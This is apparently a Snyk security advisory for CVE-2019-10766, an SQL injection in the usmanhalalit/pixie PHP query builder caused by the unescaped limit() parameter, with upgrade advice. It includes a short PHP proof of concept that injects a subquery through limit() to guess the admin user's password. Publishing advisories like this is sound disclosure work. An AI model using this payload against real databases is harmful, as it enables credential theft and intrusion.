SQL Injection Affecting usmanhalalit/pixie package, versions <1.0.3>=2.0.0, <2.0.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.21% (61st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-USMANHALALITPIXIE-534879
  • published19 Nov 2019
  • disclosed28 Oct 2019
  • creditSnyk Research

Introduced: 28 Oct 2019

CVE-2019-10766  (opens in a new tab)
CWE-89  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade usmanhalalit/pixie to version 1.0.3, 2.0.2 or higher.

Overview

usmanhalalit/pixie is a lightweight, expressive, framework agnostic query builder for PHP.

Affected versions of this package are vulnerable to SQL Injection. The library does not escape the limit() param.

PoC by Snyk Security Team

<?
require 'vendor/autoload.php';

$config = array(
    'driver' => 'pgsql',
    'host' => '127.0.0.1',
    'database' => 'postgres',
    'username' => 'postgres',
    'password' => ''
);
new \Pixie\Connection('pgsql', $config, 'QB');

$query = QB::table('notes')->limit('(SELECT COUNT(*) FROM users WHERE name=\'admin\' AND password LIKE \'P%\')');
$queryObj = $query->getQuery();

print_r($queryObj->getSql());
echo "\n";
print_r($query->get());

References

CVSS Scores

version 3.1